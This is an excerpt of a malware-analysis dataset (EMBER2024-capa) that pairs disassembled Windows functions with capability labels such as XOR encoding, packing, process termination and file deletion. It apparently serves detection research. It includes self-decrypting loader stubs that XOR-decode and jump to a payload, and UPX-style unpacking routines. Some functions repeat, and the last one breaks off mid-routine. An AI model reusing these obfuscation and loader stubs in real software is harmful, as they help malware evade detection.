joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a7c7
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x1002a134
call fcn.100162ec
mov eax, dword [ebp + 0xc]
xor ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x430], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], ebx
mov dword [ebp - 0x418], ebx
push 0x60
push ebx
push esi
mov byte [ebp - 4], 1
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x1000a844
push 2
push ebx
push esi
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x1000a844
call fcn.10004432
mov esi, eax
jmp 0x1000a91b
push dword [ebp - 0x420]
push dword [ebp - 0x41c]
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x1000a867
call fcn.10004432
jmp 0x1000a90e
push esi
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x420], eax
test eax, eax
je 0x1000a85d
push esi
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov esi, eax
mov dword [ebp - 0x41c], esi
lea eax, [esi + 1]
cmp eax, esi
jae 0x1000a897
mov esi, 0x8007000e
jmp 0x1000a910
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.1000a93e
jmp 0x1000a8bd
cmp dword [ebp - 0x418], 0
mov dword [ebp - 4], 1
je 0x1000a890
push esi
push dword [ebp - 0x418]
push esi
push dword [ebp - 0x420]
push ebx
push 3
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x1000a85d
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x42c]
push dword [ebp - 0x418]
call fcn.1000a93e
mov esi, eax
test edi, edi
je 0x1000a91b
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x1000a934
lea ecx, [ebp - 0x418]
call fcn.10009f30
mov eax, esi
call fcn.1001623e
ret 0x10

Function at 0x1000a93e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x1000a94d
pop dword [ebp - 0x2c]
mov eax, 0x1000a94d
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x3dbfb
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0x4243
mov edx, eax
mov ebx, 0xa3c81d14
sub ebx, 0x93c39314
add ebx, dword [ebp - 0x2c]
mov edi, 0x3e5a9925
add edi, 0x270f0c09
sub dword [ebp - 0x28], 0x20d53070
mov esi, dword [ebx]
add dword [ebp - 0x24], ebx
sub esi, edi
sub dword [ebp - 0x24], 0x7e98fc96
mov dword [edx], esi
xor dword [ebp - 0x14], 0xcdf7bda2
add edx, 0xdc9cd9a
sub edx, 0xdc9cd96
add ebx, 0xcbcafc79
sub ebx, 0xcbcafc75
loop 0x1000a99c
add eax, 0xfbdf
mov ebx, eax
add eax, 0x7f49846b
add eax, 0x80b67b9a
mov ecx, 0x10000000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x1000f7c9
Capabilities:
Delete file

Disassembly:
push 0x14
mov eax, 0x1002a5ef
call fcn.1001624d
mov ebx, ecx
mov eax, dword [ebx]
xor esi, esi
call dword [eax + 0x18]
push eax
lea ecx, [ebp - 0x10]
call fcn.1000a93e
and dword [ebp - 4], esi
cmp dword [ebx + 0x44], esi
je 0x1000f873
push str.Excel.Application
lea ecx, [ebp - 0x10]
call fcn.1000a93e
test al, al
je 0x1000f849
push 0xb
pop eax
mov word [ebp - 0x20], ax
xor eax, eax
mov word [ebp - 0x18], ax
sub esp, 0x10
mov byte [ebp - 4], 1
mov edi, esp
lea esi, [ebp - 0x20]
push 1
movsd dword es:[edi], dword [esi]
push str.Close
push dword [ebx + 0x44]
movsd dword es:[edi], dword [esi]
push eax
push 1
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.1000a93e
add esp, 0x28
mov byte [ebp - 4], 0
mov esi, eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x1000f862
push 0
push str.Close
push dword [ebx + 0x44]
push 0
push 1
push ebx
call fcn.1000a93e
add esp, 0x18
mov esi, eax
mov ecx, dword [ebx + 0x44]
test ecx, ecx
je 0x1000f873
and dword [ebx + 0x44], 0
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
cmp dword [ebx + 0x24], 0
je 0x1000f893
push str.Excel.Application
lea ecx, [ebp - 0x10]
call fcn.1000a93e
test al, al
je 0x1000f893
push dword [ebx + 0x24]
call dword [sym.imp.kernel32.dll_DeleteFileW]
push dword [ebp - 0x10]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, esi
call fcn.1001621b
ret
Function at 0x100106e6
Capabilities:
Copy file
Set file attributes

Disassembly:
push 0x210
mov eax, 0x1002a68f
call fcn.10016280
mov esi, dword [ebp + 8]
xor edi, edi
mov ebx, dword [ebp + 0xc]
cmp dword [esi + 8], edi
je 0x1001070c
mov eax, reloc.OLEAUT32.dll_VariantCopyInd
jmp 0x1001087d
lea ecx, [esi - 0xc]
mov eax, dword [ecx]
call dword [eax + 0x10]
mov ecx, dword [esi + 0x14]
test ecx, ecx
jne 0x10010725
mov eax, 0x80004005
jmp 0x1001087d
mov edx, dword [ebp + 0x10]
mov eax, edx
and eax, reloc.OLEAUT32.dll_SysReAllocString
cmp eax, reloc.OLEAUT32.dll_SysReAllocString
push ebx
sete al
mov byte [ecx + 0x31], al
mov ecx, reloc.OLEAUT32.dll_SysReAllocStringLen
mov eax, edx
and eax, ecx
cmp eax, ecx
mov eax, dword [esi + 0x14]
sete cl
mov byte [eax + 0x32], cl
mov eax, reloc.OLEAUT32.dll_VariantClear
and edx, eax
cmp edx, eax
mov eax, dword [esi + 0x14]
sete cl
mov byte [eax + 0x33], cl
mov ecx, dword [esi + 0x14]
add ecx, 0x28
call fcn.1000a93e
mov ecx, dword [esi + 0x14]
mov eax, dword [ecx]
call dword [eax + 0x18]
push eax
lea ecx, [ebp - 0x21c]
call fcn.1000a93e
push str.Excel.Application
lea ecx, [ebp - 0x21c]
mov dword [ebp - 4], edi
call fcn.1000a93e
test al, al
je 0x1001085a
xor eax, eax
push 0x206
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push edi
push eax
call fcn.10016100
push 0x5c
push ebx
call fcn.1000a93e
add esp, 0x14
test eax, eax
jne 0x100107d3
push 0x2f
push ebx
call fcn.1000a93e
pop ecx
pop ecx
test eax, eax
je 0x100107f3
add eax, 2
push 0x2e
push eax
call fcn.1000a93e
push eax
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.1000a93e
add esp, 0x14
cmp word [ebp - 0x218], 0
je 0x10010853
push edi
lea eax, [ebp - 0x218]
push eax
push ebx
call dword [sym.imp.kernel32.dll_CopyFileW]
lea eax, [ebp - 0x218]
push edi
push eax
call fcn.1000a93e
pop ecx
pop ecx
mov ecx, dword [esi + 0x14]
add ecx, 0x24
test eax, eax
jne 0x10010845
lea eax, [ebp - 0x218]
push eax
call fcn.1000a93e
push 0x80
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
jmp 0x1001084b
push ebx
call fcn.1000a93e
mov eax, dword [esi + 0x14]
add eax, 0x24
jmp 0x10010866
mov edi, 0x80004005
jmp 0x1001086f
mov ecx, dword [esi + 0x14]
push ebx
add ecx, 0x24
call fcn.1000a93e
push eax
lea ecx, [esi + 0x10]
call fcn.1000a93e
push dword [ebp - 0x21c]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, edi
call fcn.1001622f
ret 0xc
Function at 0x10010e0f
Capabilities:
Terminate process

Disassembly:
push 0x81c
mov eax, 0x1002a74e
call fcn.10016280
mov esi, ecx
xor edi, edi
xor ebx, ebx
and dword [ebp - 0x814], edi
cmp dword [esi + 0x40], ebx
je 0x10010f3b
push 0x10
lea eax, [ebp - 0x828]
push ebx
push eax
call fcn.10016100
add esp, 0xc
lea eax, [ebp - 0x828]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
push edi
push str.Caption
push dword [esi + 0x40]
lea eax, [ebp - 0x828]
mov dword [ebp - 4], edi
push eax
push 2
push esi
call fcn.1000a93e
add esp, 0x18
test eax, eax
jne 0x10010ea5
push dword [ebp - 0x820]
mov word [ebp - 0x810], ax
lea eax, [ebp - 0x810]
push 0x400
push eax
call fcn.1000a93e
add esp, 0xc
lea eax, [ebp - 0x810]
push eax
push edi
call dword [sym.imp.USER32.dll_FindWindowW]
mov ebx, eax
mov eax, dword [esi]
lea ecx, [ebp - 0x814]
push ecx
mov ecx, esi
call dword [eax + 0x2c]
mov edi, eax
test edi, edi
js 0x10010edb
cmp dword [ebp - 0x814], 0
jne 0x10010edb
push 0
push str.Quit
push dword [esi + 0x40]
push 0
push 1
push esi
call fcn.1000a93e
add esp, 0x18
mov edi, eax
mov ecx, dword [esi + 0x40]
test ecx, ecx
je 0x10010eec
and dword [esi + 0x40], 0
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
lea eax, [ebp - 0x828]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
test ebx, ebx
je 0x10010f3b
cmp dword [ebp - 0x814], 0
jne 0x10010f3b
test edi, edi
jns 0x10010f3b
and dword [ebp - 0x818], 0
lea eax, [ebp - 0x818]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp - 0x818]
push 1
push 0x1fffff
call dword [sym.imp.kernel32.dll_OpenProcess]
push 1
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
mov eax, edi
call fcn.1001622f
ret
Function at 0x10012866
Capabilities:
Enumerate processes

Disassembly:
push 0x238
mov eax, 0x1002aa12
call fcn.10016280
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x10012883
xor eax, eax
jmp 0x10012959
xor edi, edi
push edi
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x10012957
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x23c], 0x22c
push eax
push esi
call sub.kernel32.dll_Process32FirstW
jmp 0x1001292d
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x240]
call fcn.1001249d
push ebx
lea ecx, [ebp - 0x244]
mov dword [ebp - 4], edi
call fcn.1001249d
lea ecx, [ebp - 0x240]
mov byte [ebp - 4], 1
call fcn.100129db
lea ecx, [ebp - 0x244]
call fcn.100129db
push dword [ebp - 0x240]
lea ecx, [ebp - 0x244]
call fcn.1000a93e
mov ecx, dword [ebp - 0x244]
lea ecx, [ecx - 0x10]
test eax, eax
je 0x10012937
call fcn.10012ac9
mov ecx, dword [ebp - 0x240]
or dword [ebp - 4], 0xffffffff
lea ecx, [ecx - 0x10]
call fcn.10012ac9
lea eax, [ebp - 0x23c]
push eax
push esi
call sub.kernel32.dll_Process32NextW
test eax, eax
jne 0x100128b0
jmp 0x10012950
mov edi, dword [ebp - 0x234]
call fcn.10012ac9
mov ecx, dword [ebp - 0x240]
add ecx, 0xfffffff0
call fcn.10012ac9
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
call fcn.1001622f
ret
Function at 0x695300
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1c8000]
push edi
or ebp, 0xffffffff
jmp 0x695322
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x695329
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x695318
mov eax, 1
add ebx, ebx
jne 0x69533b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x69534c
jne 0x69536b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x69536b
dec eax
add ebx, ebx
jne 0x695358
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x695330
add ebx, ebx
jne 0x695367
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x6953bd
xor ecx, ecx
sub eax, 3
jb 0x695383
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x6953f2
sar eax, 1
mov ebp, eax
jmp 0x69538e
add ebx, ebx
jne 0x69538e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x69535c
inc ecx
add ebx, ebx
jne 0x69539c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x69535c
add ebx, ebx
jne 0x6953a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x69539e
jne 0x6953ba
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x69539e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x6953dc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x6953ce
jmp 0x69531e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x6953dc
add edi, ecx
jmp 0x69531e
pop esi
mov edi, esi
mov ecx, 0x9618
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x6953fa
cmp byte [edi], 0x25
jne 0x6953fa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x6953ff
lea edi, [esi + 0x292000]
mov eax, dword [edi]
or eax, eax
je 0x695477
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x296a28]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x296b54]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x69542c
mov ecx, edi
jns 0x69545b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x296b58]
or eax, eax
je 0x695471
mov dword [ebx], eax
add ebx, 4
jmp 0x695449
call dword [esi + 0x296b68]
mov ebp, dword [esi + 0x296b5c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x237]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x6954ab
sub esp, 0xffffff80
jmp 0x5389bb
Function at 0x1000a7c7
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x1002a134
call fcn.100162ec
mov eax, dword [ebp + 0xc]
xor ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x430], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], ebx
mov dword [ebp - 0x418], ebx
push 0x60
push ebx
push esi
mov byte [ebp - 4], 1
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x1000a844
push 2
push ebx
push esi
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x1000a844
call fcn.10004432
mov esi, eax
jmp 0x1000a91b
push dword [ebp - 0x420]
push dword [ebp - 0x41c]
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x1000a867
call fcn.10004432
jmp 0x1000a90e
push esi
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x420], eax
test eax, eax
je 0x1000a85d
push esi
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov esi, eax
mov dword [ebp - 0x41c], esi
lea eax, [esi + 1]
cmp eax, esi
jae 0x1000a897
mov esi, 0x8007000e
jmp 0x1000a910
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.1000eaf8
jmp 0x1000a8bd
cmp dword [ebp - 0x418], 0
mov dword [ebp - 4], 1
je 0x1000a890
push esi
push dword [ebp - 0x418]
push esi
push dword [ebp - 0x420]
push ebx
push 3
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x1000a85d
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x42c]
push dword [ebp - 0x418]
call fcn.1000eaf8
mov esi, eax
test edi, edi
je 0x1000a91b
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x1000a934
lea ecx, [ebp - 0x418]
call fcn.10009f30
mov eax, esi
call fcn.1001623e
ret 0x10
Function at 0x1000f7c9
Capabilities:
Delete file

Disassembly:
push 0x14
mov eax, 0x1002a5ef
call fcn.1001624d
mov ebx, ecx
mov eax, dword [ebx]
xor esi, esi
call dword [eax + 0x18]
push eax
lea ecx, [ebp - 0x10]
call fcn.1000eaf8
and dword [ebp - 4], esi
cmp dword [ebx + 0x44], esi
je 0x1000f873
push str.Excel.Application
lea ecx, [ebp - 0x10]
call fcn.1000eaf8
test al, al
je 0x1000f849
push 0xb
pop eax
mov word [ebp - 0x20], ax
xor eax, eax
mov word [ebp - 0x18], ax
sub esp, 0x10
mov byte [ebp - 4], 1
mov edi, esp
lea esi, [ebp - 0x20]
push 1
movsd dword es:[edi], dword [esi]
push str.Close
push dword [ebx + 0x44]
movsd dword es:[edi], dword [esi]
push eax
push 1
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.1000eaf8
add esp, 0x28
mov byte [ebp - 4], 0
mov esi, eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x1000f862
push 0
push str.Close
push dword [ebx + 0x44]
push 0
push 1
push ebx
call fcn.1000eaf8
add esp, 0x18
mov esi, eax
mov ecx, dword [ebx + 0x44]
test ecx, ecx
je 0x1000f873
and dword [ebx + 0x44], 0
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
cmp dword [ebx + 0x24], 0
je 0x1000f893
push str.Excel.Application
lea ecx, [ebp - 0x10]
call fcn.1000eaf8
test al, al
je 0x1000f893
push dword [ebx + 0x24]
call dword [sym.imp.kernel32.dll_DeleteFileW]
push dword [ebp - 0x10]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, esi
call fcn.1001621b
ret
Function at 0x100106e6
Capabilities:
Copy file
Set file attributes

Disassembly:
push 0x210
mov eax, 0x1002a68f
call fcn.10016280
mov esi, dword [ebp + 8]
xor edi, edi
mov ebx, dword [ebp + 0xc]
cmp dword [esi + 8], edi
je 0x1001070c
mov eax, reloc.OLEAUT32.dll_VariantCopyInd
jmp 0x1001087d
lea ecx, [esi - 0xc]
mov eax, dword [ecx]
call dword [eax + 0x10]
mov ecx, dword [esi + 0x14]
test ecx, ecx
jne 0x10010725
mov eax, 0x80004005
jmp 0x1001087d
mov edx, dword [ebp + 0x10]
mov eax, edx
and eax, reloc.OLEAUT32.dll_SysReAllocString
cmp eax, reloc.OLEAUT32.dll_SysReAllocString
push ebx
sete al
mov byte [ecx + 0x31], al
mov ecx, reloc.OLEAUT32.dll_SysReAllocStringLen
mov eax, edx
and eax, ecx
cmp eax, ecx
mov eax, dword [esi + 0x14]
sete cl
mov byte [eax + 0x32], cl
mov eax, reloc.OLEAUT32.dll_VariantClear
and edx, eax
cmp edx, eax
mov eax, dword [esi + 0x14]
sete cl
mov byte [eax + 0x33], cl
mov ecx, dword [esi + 0x14]
add ecx, 0x28
call fcn.1000eaf8
mov ecx, dword [esi + 0x14]
mov eax, dword [ecx]
call dword [eax + 0x18]
push eax
lea ecx, [ebp - 0x21c]
call fcn.1000eaf8
push str.Excel.Application
lea ecx, [ebp - 0x21c]
mov dword [ebp - 4], edi
call fcn.1000eaf8
test al, al
je 0x1001085a
xor eax, eax
push 0x206
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push edi
push eax
call fcn.10016100
push 0x5c
push ebx
call fcn.1000eaf8
add esp, 0x14
test eax, eax
jne 0x100107d3
push 0x2f
push ebx
call fcn.1000eaf8
pop ecx
pop ecx
test eax, eax
je 0x100107f3
add eax, 2
push 0x2e
push eax
call fcn.1000eaf8
push eax
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.1000eaf8
add esp, 0x14
cmp word [ebp - 0x218], 0
je 0x10010853
push edi
lea eax, [ebp - 0x218]
push eax
push ebx
call dword [sym.imp.kernel32.dll_CopyFileW]
lea eax, [ebp - 0x218]
push edi
push eax
call fcn.1000eaf8
pop ecx
pop ecx
mov ecx, dword [esi + 0x14]
add ecx, 0x24
test eax, eax
jne 0x10010845
lea eax, [ebp - 0x218]
push eax
call fcn.1000eaf8
push 0x80
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
jmp 0x1001084b
push ebx
call fcn.1000eaf8
mov eax, dword [esi + 0x14]
add eax, 0x24
jmp 0x10010866
mov edi, 0x80004005
jmp 0x1001086f
mov ecx, dword [esi + 0x14]
push ebx
add ecx, 0x24
call fcn.1000eaf8
push eax
lea ecx, [esi + 0x10]
call fcn.1000eaf8
push dword [ebp - 0x21c]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, edi
call fcn.1001622f
ret 0xc
Function at 0x10010e0f
Capabilities:
Terminate process

Disassembly:
push 0x81c
mov eax, 0x1002a74e
call fcn.10016280
mov esi, ecx
xor edi, edi
xor ebx, ebx
and dword [ebp - 0x814], edi
cmp dword [esi + 0x40], ebx
je 0x10010f3b
push 0x10
lea eax, [ebp - 0x828]
push ebx
push eax
call fcn.10016100
add esp, 0xc
lea eax, [ebp - 0x828]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
push edi
push str.Caption
push dword [esi + 0x40]
lea eax, [ebp - 0x828]
mov dword [ebp - 4], edi
push eax
push 2
push esi
call fcn.1000eaf8
add esp, 0x18
test eax, eax
jne 0x10010ea5
push dword [ebp - 0x820]
mov word [ebp - 0x810], ax
lea eax, [ebp - 0x810]
push 0x400
push eax
call fcn.1000eaf8
add esp, 0xc
lea eax, [ebp - 0x810]
push eax
push edi
call dword [sym.imp.USER32.dll_FindWindowW]
mov ebx, eax
mov eax, dword [esi]
lea ecx, [ebp - 0x814]
push ecx
mov ecx, esi
call dword [eax + 0x2c]
mov edi, eax
test edi, edi
js 0x10010edb
cmp dword [ebp - 0x814], 0
jne 0x10010edb
push 0
push str.Quit
push dword [esi + 0x40]
push 0
push 1
push esi
call fcn.1000eaf8
add esp, 0x18
mov edi, eax
mov ecx, dword [esi + 0x40]
test ecx, ecx
je 0x10010eec
and dword [esi + 0x40], 0
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
lea eax, [ebp - 0x828]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
test ebx, ebx
je 0x10010f3b
cmp dword [ebp - 0x814], 0
jne 0x10010f3b
test edi, edi
jns 0x10010f3b
and dword [ebp - 0x818], 0
lea eax, [ebp - 0x818]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp - 0x818]
push 1
push 0x1fffff
call dword [sym.imp.kernel32.dll_OpenProcess]
push 1
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
mov eax, edi
call fcn.1001622f
ret
Function at 0x10012866
Capabilities:
Enumerate processes

Disassembly:
push 0x238
mov eax, 0x1002aa12
call fcn.10016280
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x10012883
xor eax, eax
jmp 0x10012959
xor edi, edi
push edi
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x10012957
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x23c], 0x22c
push eax
push esi
call sub.kernel32.dll_Process32FirstW
jmp 0x1001292d
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x240]
call fcn.1001249d
push ebx
lea ecx, [ebp - 0x244]
mov dword [ebp - 4], edi
call fcn.1001249d
lea ecx, [ebp - 0x240]
mov byte [ebp - 4], 1
call fcn.100129db
lea ecx, [ebp - 0x244]
call fcn.100129db
push dword [ebp - 0x240]
lea ecx, [ebp - 0x244]
call fcn.1000eaf8
mov ecx, dword [ebp - 0x244]
lea ecx, [ecx - 0x10]
test eax, eax
je 0x10012937
call fcn.10012ac9
mov ecx, dword [ebp - 0x240]
or dword [ebp - 4], 0xffffffff
lea ecx, [ecx - 0x10]
call fcn.10012ac9
lea eax, [ebp - 0x23c]
push eax
push esi
call sub.kernel32.dll_Process32NextW
test eax, eax
jne 0x100128b0
jmp 0x10012950
mov edi, dword [ebp - 0x234]
call fcn.10012ac9
mov ecx, dword [ebp - 0x240]
add ecx, 0xfffffff0
call fcn.10012ac9
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
call fcn.1001622f
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408f6c
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x383944da
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e3d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x25c621d
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
jmp 0x401219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x433005
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x43300c
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
